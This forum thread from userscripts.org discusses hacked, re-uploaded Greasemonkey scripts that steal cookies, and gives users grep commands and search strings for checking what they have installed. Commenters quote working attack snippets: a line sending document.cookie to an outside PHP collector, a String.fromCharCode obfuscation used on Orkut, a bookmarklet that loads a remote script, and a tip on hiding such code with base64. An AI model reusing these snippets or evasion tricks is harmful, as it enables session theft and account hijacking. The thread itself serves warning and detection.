Userscripts.org

Someone has been attempting to post scripts that steal cookies. Thanks to several alert us.o citizens (including davey, descriptor, loucypher, joel h, pogue) we have been able to note that the script is malicious and then delete them.

I'm putting up a banner to warn people that newly uploaded/updated scripts should be put under extra scrutiny.

I've also decreased the cache duration of rss feeds to 10 minutes, so if you keep an eye on http://userscripts.org/feeds/recent_scripts it will be a lot fresher than normal (it was cached for an hour)

The FBI has been provided IP addresses, email addresses, and other information and we have added additional information tracing systems to catch them red-handed.

good, i hope they get in trouble, Keep up the good work

Can we confirm which scripts were malicious?

yes we need to be confirmed about those scripts

Which scripts? It would be nice to know if I installed one of them!

The script icon on the left of script title now should link to preview page than to user.js

Can we confirm which scripts were malicious?

yes we need to be confirmed about those scripts

Which scripts? It would be nice to know if I installed one of them!

This user modified any scripts at USO and added malicious code so we can't tell you exactly which script. But you can check every script that you have installed and search for these codes:

.php?cookie=

and

encodeURIComponent(document.cookie)

If you found the codes above in your installed scripts, uninstall them.

I'm totally clueless when it comes to all of this stuff...can someone please explain to me how to search in the scripts I've installed? Any help would be greatly appreciated!

It would be great if someone can comeup with a script which can scan the installed scripts, because I am also non-tech person as many of us.

Regards

1- find out your Profile directory:
http://gemal.dk/mozilla/profile.html
2- there will be a gm_scripts folder in there with all the installed scripts. You will need to do a search in all files:
3a- if you use windows, not sure what's the best plan for that,
3b- if you are on Linux or OS X, open a Terminal and do:

% cd your_profile_path/gm_scripts
% grep -e "cookie" *.user.js


A vetting system for scripts would be useful. Something to indicate that you've checked a particular script for these potentially unsafe elements and determined it to be safe. That way a follow-up user can glance at a particular area on the page and see that it's already been checked. If not, then it has something along the lines of 'This script has not be marked as safe by enough users, please take care to ensure it performs as expected.'

Of course this is open for 'attackers' to mark them as safe, so perhaps limiting this ability to 'mods' or people with a particular number of posts or scripts instead, to ease the legwork that Admins would have to do.

These are the scripts that contain above expressions I found:
1. Google Image Type Recognition
2. Cookie Editor
3. Gmail Conversation Preview

I don't know if they are stealing cookies, but each of them contain such string:

document.location='http://aayush.freehostia.com/PHP/Cookie monster/getmonster.php?cookie='+encodeURIComponent(document.cookie);

Please, provide some more info on them.

re: scanning scripts in windows

3a- if you use windows,,
not sure what's the best plan for that,

go to command prompt [start -> run -> cmd ] and do:

c:\> find /i "cookie" *[filename|user].js

sebarkh - unfortunately you downloaded versions of those scripts that were hacked and re-uploaded to send your cookie(s) to that URL. on the positive, it looks like freehostia closed that account, but you should try to replace those hacked versions with the originals on this site. while you're at it, change your passwords.

which brings the biggest problems with these scripts - the vast majority of cookie stealers are hacked versions of legit scripts (Gmail Conversation Preview for instance). is there a way to filter out the legit original scripts with those that masquerade as them?

sebarkh,

the cookies don't give them your password, just access.

if you go into accounts you have setup to remember you via cookies and logout it should render the cookie invalid

In case you know this is a big deal, but don't know why this is a big deal, here's a little more explanation for the non propeller heads.

For those of you who have a fear of cookies, cookies are, as Firefox's preferences used to say, delicious delicacies. They're useful bits of code that help your web browser remember states of operation, such as the following:

• the point in the rotation for banner advertisements (so the same ad doesn't get displayed twice)
• the username of the last person who logged into a site (which is how MySpace can greet you and eBay knows who you are before you get logged in for the session)
• username and password (usually encrypted and employed, for instance, wherever Google has a "Remember me on this computer" check box)

One of my scripts uses cookies to remember the state of an expandable / collapsible section in pages on the site on which it operates. If I couldn't set and retrieve a cookie with that script, the collapsible section of the page would have to be expanded or collapsed by the end user on every navigation to a new page. The script would be more annoying than useful at that point, and wouldn't help anyone.

Web browsers have built-in security that prevents any website from reading cookies left by any other website. That's called cross-domain scripting, and cross-domain scripting is blocked by the web browser. In order for a website to read a cookie, it has to be the site that set the cookie.

Now, the problem is that Greasemonkey (and Creammonkey) can potentially circumvent this cross-domain limitation. Since some websites (such as Google) remember your username and password, and since a few maliciously-coded scripts seeded here can farm that username and password and post it somewhere else... Well, 2+2 = bad things can happen. Even though cookie-stored authentication information is generally encrypted, that encryption can eventually be broken. It's like going to the mall, handing your keys to a stranger, and hoping he doesn't figure out which car the keys fit.

Perhaps even more dangerously, though, as Jesse Andrews points out, the perpetrator who's stealing cookies might be able to inject the cookies into his web browser's cookie cache, and use the cookie as sort of a keyless entry in this mall parking lot. If that's the case, the information doesn't have to be decrypted before it can be used to gain entry into your account. He'll then know your username, and might gain access to change your password and hijack your account.

There's no way we can know to what end cookies are being farmed (without access to the cracker himself, some rope, and a cattle prod), but in any case, it's safe to assume his intentions are not benevolent.

I've noticed this awhile ago. I always check the source code of a script before I install it so its never been a problem for me.

I just wanted say that they're really terrible at hiding it in a script. If I was stealing cookies I wouldn't leave it in plain text. I would assign both document and cookie a variable and encode the names in base64 and hide them all over the script.

"This user modified any scripts at USO and added malicious code so we can't tell you exactly which script."

So you're saying the badguy just wasn't upping his own malicious scripts but got root access to all? That should be in then red alert box too. And why can't the admins simply do a (recursive) grep for all the relevant code you stated and post the results?

It is astonishingly unlikely that any site would put password information into a cookie. What normally happens is that session details are stored so that when the browser talks to the server again later the server knows that it's the same browser as the user logged in from earlier.

bowlegs: the server has not been breached - (unfortunately we have a separate issue with server uptime since upgrading to a new server - read more about it here)

what happened was a user was downloading scripts from the site, and uploading them as a "new version" which only added the cookie stealing code. They then commented in the old script that they posted a new version that works better.

Be sure to add sites that you log into (especially banks, etc.) to the @exclude rule and you never have to worry about scripts stealing any info for that site.
Also you can use Google to search all the scripts...
http://www.google.com/search?q=%22document.cook...

ORKUT SPECIFIC:

1.
It seems that Orkut has banned the use of term document.cookie in scripts running at Orkut. Hence the above described tag "document.cookie" will not be found on the scripts that are stealing cookie running during orkut browsing.

The hackers have bypassed the hinderance by using this function instead:

varname.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))
or its various versions like:
varname.scrapText.value=eval(String.fromCharCode(100111,99117109101110116,46,99111111107105101))

There would be any variable name in place of varname, and scrapText is the Orkut's name for Scrapbook's Text area.

That numeric string is the ascii code of characters, and gets decoded by the function to "d o c u m e n t . c o o k i e"
Thus, assigning the value of the above function is equivalent to including the word "document.cookie" which is the keyword for accessing the cookies of your browser.

2.
As the cookie needs to be send to the hacker's account, there would be a statement in the cookie stealing script, like,

"varname".toUserId.value=36477993

The above no. is a randomly put number. There would be any variable name in place of varname and that statement sets the GID of the google profile to which cookie will be sent. It is not UID that is written in profile url.

3.
As the script writes a scrap in the hacker's scrapbook, the script has the following code
varname.action='Scrapbook.aspx?Action.writeScrapBasic'
varname.action='Scrapbook.aspx?Action.submit'
varname=replyForm
etc.

Seeing this menace, all orkut has done till date is changing the word "writeScrapBasic" to "submit" that users could identify within minutes and modified their scripts and continued hacking.

And script that has "writeScrapBasic" will not work any more. the scripts having "submit" will steal cookies.

So, you can look for these tell tale signs of a cookie stealing script for Orkut. That numeric string is the best and clearest identification.

Worry not. I have not given away entire script. There is more to it than what is mentioned above.

Be safe.

Another type of malacious scripts are more general.

javascript:d=document.createElement('SCRIPT');d.src='http://tinyurl.com/3d6k7b';document.getElementsByTagName('head').item(0).appendChild(d);void(0)

that 3d6k7b is a random no. This script takes the source code from that http://tinyurl.com/3d6k7b which invariably redirects to some other location which has the actual script having cookie stealing codes. Thus, this type of coding bypasses all kind of checks we had known till date.

How would USO check such scripts? If you go to such location to see the code of original script at the url, may be the hackers knows it so he would first put a harmless script at that source for a few days and when he is assured that all checks by USO are complete than he can change the actual script file hidden behind that redirect url and start hacking. The above script needn't get changed in such case.

One way is not to allow any script at USO to take src from any other place. Script posters must include the entire source in the scripts loaded on this site.

Up to you.

@sizzlemctwizzle

Orkut claims of having 61,421,957 profiles now, (mostly fakes) so it is literally impossible to find a particular user at Orkut unless you know his specific UID or profile URL. Profiles can be created in less than a minute. You needn't even have a valid email-id. I think you can give any string having "xxx@xxx.xxx" and Orkut considers that your email id and allows you to log in with it. Even if don't confirm email verification, orkut will just nag at you but would allow you to use orkut.

Hence, the hacker must be creating a new profile without filling any of their real details. They must not be telling about this profile to anybody so nobody visits that and nobody comes to know about it.

then, they must be taking the GID of that profile and putting that in the cookie stealing script and sending the script to gullible people from some other profile of themselves. So, you don't come to know where the cookies are going. You have the GID but there is no known method of finding profile through GID.

Visit this orkut page: http://www.orkut.com/CommMsgs.aspx?cmm=34876055...
where I have posted a message about a profile where cookies are stored.

How did I know about it. Well, some hacker himself told about this in the urls mentioned in the above post. The thread in the orkut community has been deleted, but there is a screenshot of the discussion.
http://www.imagehosts.us/files/89/cookie%20jars...

And the scrapbook url shows the scrapbook having cookies in ASII.
http://www.orkut.com/Scrapbook.aspx?uid=1510315...

Hence there is no need for user to make code bulky by including encryption commands.

Incidently, the hacker declared it on July 2nd, it has been a week and hacker's profile from which he announced, and this profile having stolen cookie survives. As you can see, more and more cookies are arriving in that scrapbook even now, even today.

Orkut is just not doing anything at all to control this menace.